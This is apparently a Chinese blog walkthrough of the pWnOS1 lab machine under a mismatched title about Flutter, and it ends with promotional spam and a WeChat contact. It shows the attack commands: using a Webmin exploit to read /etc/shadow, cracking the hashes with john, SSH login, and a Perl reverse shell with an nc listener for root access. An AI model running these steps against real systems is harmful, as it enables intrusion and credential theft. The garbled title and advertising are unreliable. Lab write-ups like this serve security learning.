记录一次pWnOS1，万字长文轻松彻底入门Flutter

####工具给出的结果看不懂要善用人工智能工具 列:文心一言、gpt等 ####
Brute Force / Command Execution : 扫描是一种暴力破解方法，用于尝试猜测密码或密钥 优先级低
Directory Traversal（目录遍历）

Webmin 0.9x / Usermin 0.9x/1.0 - Access Session ID Spoofing：这个漏洞允许攻击者伪造用户会话的ID，从而以其他用户的身份进行未授权访问。

Webmin 0.x - ‘RPC’ Privilege Escalation：Webmin 0.x 中的 ‘RPC’ Privilege Escalation 是一个安全漏洞，允许攻击者提升其在系统上的权限。

Code Input Validation (代码输入验证）

Web Brute Force（Web暴力破解）

Multiple Vulnerabilities( 表示多个漏洞)

Remote Code Execution（远程代码执行）

HTML Email Command Execution（允许攻击者在HTML电子邮件中执行恶意代码）

一顿排除后，目光放到了2017.pl
下载下来

searchsploit -m 2017.pl

searchsploit webmin -m 2017.pl下载文件
查看如何使用 2017.pl ##.pl是Perl源代码文件的默认扩展名##
perl 2017.pl --help

利用格式：Usage: 2017.pl

目标靶机为http协议 所以target为0
选择的target应该是http，即参数0, 根据Example，我们可以尝试读取/etc/passwd文件试试：
perl 2017.pl 10.10.10.130 10000 /etc/passwd 0
读取成功

再读取/shadow文件
perl 2017.pl 10.10.10.130 10000 /etc/shadow 0

john破解密码

复制这四个用户以及root用户复制到一个文件中，并命名为hash


使用john进行密码破解。
在vulhub靶机中涉及到密码破解的地方，作者为节约时间通常都使用rockyou字典。实战中密码破解时间与目标密码强度和字典强度有关

john hash --wordlist=/usr/share/wordlists/rockyou.txt

扫描结果出来了
账户vmware 密码h4ckm3

然后就是ssh登录了(g这步又没截图借用大佬的图了)
ssh vmware@10.10.10.130
ssh登录的时候报错提示说没有匹配的host key
这个问题参考bossfrank大佬的这篇博客
红队打靶：LampSecurity:CTF4打靶思路详解（vulnhub）_lampsecurityctf4-CSDN博客

第四步：登录ssh,获取初始立足点

此时获得了初始立足点，接下来就是研究如何提权
sudo -l查看具有当前用户具有哪些权限

sudo -l

发现需要密码，跳过，查看计划任务有无可以利用的地方

发现没有利用的计划

查看目录和文件，没有找到敏感信息和可用的信息

第五步：提权

俺寻思这步是该内核提权来着，然后看到红队笔记提权的思路真牛逼
利用webmin的文件泄露漏洞，读取到shadow文件，而shadow文件需要root的权限才能读取，因此可以
相当于这个webmin的任意文件漏洞可以导致攻击者以root权限读取文件。那么可以上传一个反弹shell的脚本，然后利用这个文件泄露漏洞，就能以root权限运行shell

开始实践
首先构建反弹shell，由于webmin是由perl构建，所以使用kali中自带的perl的反弹shell脚本，路径在/usr/share/webshell/perl/perl-reverse-shell.pl，复制下来，重新命名为shell.cgi。改后缀看bossfrank大佬的意思是如果不修改后缀，2017.pl的exp只能以root权限读取shell.pl,而无法执行，也就是无法执行反弹shell

cp /usr/share/webshells/perl/perl-reverse-shell.pl shell.cgi
复制并修改里面的内容

ip 改成攻击机ip 端口设置为4444

修改后，用php打开攻击机的http 80端口 用别的打开也可以。
主要目的是让目标靶机能够下载到shell脚本



同时在靶机shell中给一个可以执行的权限（不然可能执行不了反弹shell）
chmod +x shell.cgi

在kali攻击机中用nc打开端口监听
nc -lvnp 4444

记得确认脚本传输的位置

自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。

深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点，真正体系化！

由于文件比较大，这里只是将部分目录大纲截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且后续会持续更新

如果你觉得这些内容对你有帮助，可以添加VX：vip204888 （备注网络安全获取）

学习路线：

这个方向初期比较容易入门一些，掌握一些基本技术，拿起各种现成的工具就可以开黑了。不过，要想从脚本小子变成黑客大神，这个方向越往后，需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容：

一个人可以走的很快，但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎扫码加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

center)

一个人可以走的很快，但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎扫码加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！
[外链图片转存中…(img-SoqGFfTf-1712650590521)]